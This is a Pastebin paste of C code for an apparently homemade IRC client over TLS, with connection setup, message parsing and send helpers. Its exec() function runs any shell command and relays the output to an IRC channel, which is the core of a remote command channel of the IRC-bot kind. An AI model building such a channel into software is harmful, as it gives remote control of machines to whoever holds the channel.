SHARE
TWEET

Untitled

MikeWalkerMRU May 25th, 2020 1,104 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. void exec(SSL *ssl, char *command, char *chan)
  3. {
  4.     char buf[1024] = "";
  5.  
  6.     FILE *sys = my_popen(command);
  7.     while (fgets(buf, sizeof(buf), sys))
  8.     {
  9.         SendSslIrcMsg(ssl, "PRIVMSG %s :%s\n", chan, buf);
  10.         memset(buf, 0, sizeof(buf));
  11.     }
  12.  
  13.     fclose(sys);
  14. }
  15.  
  16. FILE *my_popen(char *cmdstring)
  17. {
  18.     int pipefd[2];
  19.  
  20.     char buf[32], *argv[] = {"/bin/sh", "-c", cmdstring, NULL};
  21.  
  22.     if (pipe(pipefd) == -1)
  23.     {
  24.         perror("pipe");
  25.         return NULL;
  26.     }
  27.  
  28.     pid_t pid = fork();
  29.     if (pid == -1)
  30.     {
  31.         perror("fork()");
  32.         return NULL;
  33.     }
  34.  
  35.     if (pid == 0) // child
  36.     {
  37.         int out_fd = dup2(pipefd[WRITE], STDOUT_FILENO);
  38.         if (out_fd < 0)
  39.             perror("dup2");
  40.  
  41.         close(pipefd[WRITE]);
  42.  
  43.         execv("/bin/sh", argv);
  44.         perror("execve failed!");
  45.         _exit(123);
  46.     }
  47.  
  48.     int wstatus;
  49.  
  50.     if (pid != wait(&wstatus) || !WIFEXITED(wstatus))
  51.     {
  52.         perror("Divorsed");
  53.         return NULL;
  54.     }
  55.  
  56.     close(pipefd[WRITE]);
  57.  
  58.     return fdopen(pipefd[READ], "r");
  59. }
  60.  
  61. void textsckinit(TEXTSCK *stream, int fd, SSL *ssl)
  62. {
  63.     stream->ssl = ssl;
  64.     stream->fd = fd;
  65.     stream->is_done = 0;
  66.     stream->pos = 0;
  67.     stream->buflen = 0;
  68. }
  69.  
  70. int netgetc(TEXTSCK *stream)
  71. {
  72.     if (stream->is_done)
  73.         return EOF;
  74.  
  75.     if (stream->pos == stream->buflen)
  76.     {
  77.         ssize_t nread = stream->ssl ? SSL_read(stream->ssl, stream->buf, sizeof(stream->buf)) : read(stream->fd, stream->buf, sizeof(stream->buf));
  78.         if (nread <= 0)
  79.             stream->is_done = 1;
  80.  
  81.         stream->pos = 0;
  82.         stream->buflen = nread;
  83.     }
  84.  
  85.     return stream->buf[stream->pos++];
  86. }
  87.  
  88. char *netgets(char *str, size_t size, TEXTSCK *stream)
  89. {
  90.     char *s = str;
  91.     int c = 0;
  92.  
  93.     if (stream->is_done)
  94.         return NULL;
  95.  
  96.     for (size_t i = 0; i != size - 1 && c != '\n'; i++)
  97.     {
  98.         c = netgetc(stream);
  99.         if (c == EOF)
  100.             break;
  101.  
  102.         *s++ = c;
  103.     }
  104.  
  105.     *s = '\0';
  106.     return str;
  107. }
  108.  
  109. void HandleIrcMessage(int sck, IrcMessage *msg)
  110. {
  111.     /*
  112.         switch () {
  113.  
  114.         }
  115.     */
  116. }
  117.  
  118. // <message>  ::= [':' <prefix> <SPACE> ] <command> <params> <crlf>
  119. int ParseIrcMessage(char *message_str, IrcMessage *msg)
  120. {
  121.     char *last = NULL;
  122.     char *param;
  123.  
  124.     msg->message = ChompWS(strdup(message_str));
  125.     msg->prefix = NULL;
  126.     msg->num_params = 0;
  127.  
  128.     // If it has a prefix, parse that
  129.     if (*message_str == ':')
  130.     {
  131.         msg->prefix = message_str + 1;
  132.  
  133.         message_str = strchr(msg->prefix, ' ');
  134.         if (message_str == NULL)
  135.             return 0;
  136.  
  137.         *message_str++ = '\0';
  138.     }
  139.  
  140.     // Handle escaped string preemptively so we can use strtok_r in a portable manner
  141.     char *trailing_param = strchr(message_str, ':');
  142.     if (trailing_param)
  143.     {
  144.         *trailing_param++ = '\0';
  145.         trailing_param = ChompWS(trailing_param);
  146.     }
  147.  
  148.     // Tokenize command and params now
  149.     msg->command = strtok_r(message_str, " ", &last);
  150.     while ((param = strtok_r(NULL, " ", &last)) != NULL)
  151.     {
  152.         param = ChompWS(param);
  153.         msg->params[msg->num_params++] = param;
  154.     }
  155.  
  156.     // Add the trailing param to the end if there was one
  157.     if (trailing_param)
  158.         msg->params[msg->num_params++] = trailing_param;
  159.  
  160.     return 0;
  161. }
  162.  
  163. int SendSslIrcMsg(SSL *ssl, const char *fmt, ...)
  164. {
  165.     char buf[512];
  166.     va_list ap;
  167.  
  168.     va_start(ap, fmt);
  169.     int nprinted = vsnprintf(buf, sizeof(buf), fmt, ap);
  170.     va_end(ap);
  171.  
  172.     ssize_t total_sent = 0;
  173.     while (total_sent < nprinted)
  174.     {
  175.         ssize_t nsent = SSL_write(ssl, buf, nprinted);
  176.         if (nsent <= 0)
  177.         {
  178.             if (errno == EINTR)
  179.                 continue;
  180.             else
  181.                 return 0;
  182.         }
  183.  
  184.         total_sent += nsent;
  185.     }
  186.  
  187.     return 1;
  188. }
  189.  
  190. int SendIrcMsg(int fd, const char *fmt, ...)
  191. {
  192.     char buf[512];
  193.     va_list ap;
  194.  
  195.     va_start(ap, fmt);
  196.     int nprinted = vsnprintf(buf, sizeof(buf), fmt, ap);
  197.     va_end(ap);
  198.  
  199.     ssize_t total_sent = 0;
  200.     while (total_sent < nprinted)
  201.     {
  202.         ssize_t nsent = send(fd, buf, nprinted, 0);
  203.         if (nsent <= 0)
  204.         {
  205.             if (errno == EINTR)
  206.                 continue;
  207.             else
  208.                 return 0;
  209.         }
  210.  
  211.         total_sent += nsent;
  212.     }
  213.  
  214.     return 1;
  215. }
  216.  
  217. char *ChompWS(char *str)
  218. {
  219.     str += strspn(str, " \t\r\n");
  220.  
  221.     char *end = str + strlen(str) - 1;
  222.     while (end > str && (*end == ' ' || *end == '\t' ||
  223.                          *end == '\r' || *end == '\n'))
  224.         end--;
  225.  
  226.     end[1] = '\0';
  227.     return str;
  228. }
  229.  
  230. int EstablishConnection(const char *host, const char *service_str)
  231. {
  232.     struct addrinfo hints;
  233.     struct addrinfo *listp = NULL;
  234.     struct addrinfo *p = NULL;
  235.     int status;
  236.     int sck = -1;
  237.  
  238.     memset(&hints, 0, sizeof hints);
  239.     hints.ai_family = AF_INET;
  240.     hints.ai_socktype = SOCK_STREAM;
  241.     hints.ai_flags = AI_CANONNAME | AI_ALL | AI_ADDRCONFIG;
  242.  
  243.     status = getaddrinfo(host, service_str, &hints, &listp);
  244.     if (status != 0)
  245.     {
  246.         printf("getaddrinfo error: (%s)\n", gai_strerror(status));
  247.         goto done;
  248.     }
  249.  
  250.     for (p = listp; p; p = p->ai_next)
  251.     {
  252.         sck = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
  253.         if (sck < 0)
  254.             continue;
  255.  
  256.         struct timeval timeout;
  257.         timeout.tv_sec = 2;
  258.         timeout.tv_usec = 0;
  259.         if (setsockopt(sck, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)) < 0)
  260.         {
  261.             close(sck);
  262.             goto done;
  263.         }
  264.  
  265.         if (connect(sck, p->ai_addr, p->ai_addrlen) != -1)
  266.             goto done;
  267.  
  268.         close(sck);
  269.     }
  270.     printf("all connects failed\n");
  271.     close(sck);
  272. done:
  273.     if (listp != NULL)
  274.         freeaddrinfo(listp);
  275.     return sck;
  276. }
  277.  
  278. SSL *InitSslOnSocket(int sckfd)
  279. {
  280.     SSL_library_init();
  281.     SSL_load_error_strings();
  282.  
  283.     SSL_CTX *ctx = SSL_CTX_new(TLS_method());
  284.     if (ctx == NULL)
  285.     {
  286.         printf("Failed to create SSL context\n");
  287.         return NULL;
  288.     }
  289.  
  290.     SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL); // for now...!
  291.     SSL_CTX_set_options(ctx, SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_NO_COMPRESSION);
  292.  
  293.     if (!SSL_CTX_set_default_verify_paths(ctx))
  294.     {
  295.         printf("Failed to set default ssl verify paths\n");
  296.         return NULL;
  297.     }
  298.  
  299.     SSL *ssl = SSL_new(ctx);
  300.     if (ssl == NULL)
  301.     {
  302.         printf("Failed to create SSL\n");
  303.         return NULL;
  304.     }
  305.  
  306.     SSL_set_fd(ssl, sckfd);
  307.  
  308.     if (SSL_connect(ssl) == -1)
  309.     {
  310.         printf("Failed to SSL_connect()\n");
  311.         return NULL;
  312.     }
  313.  
  314.     return ssl;
  315. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top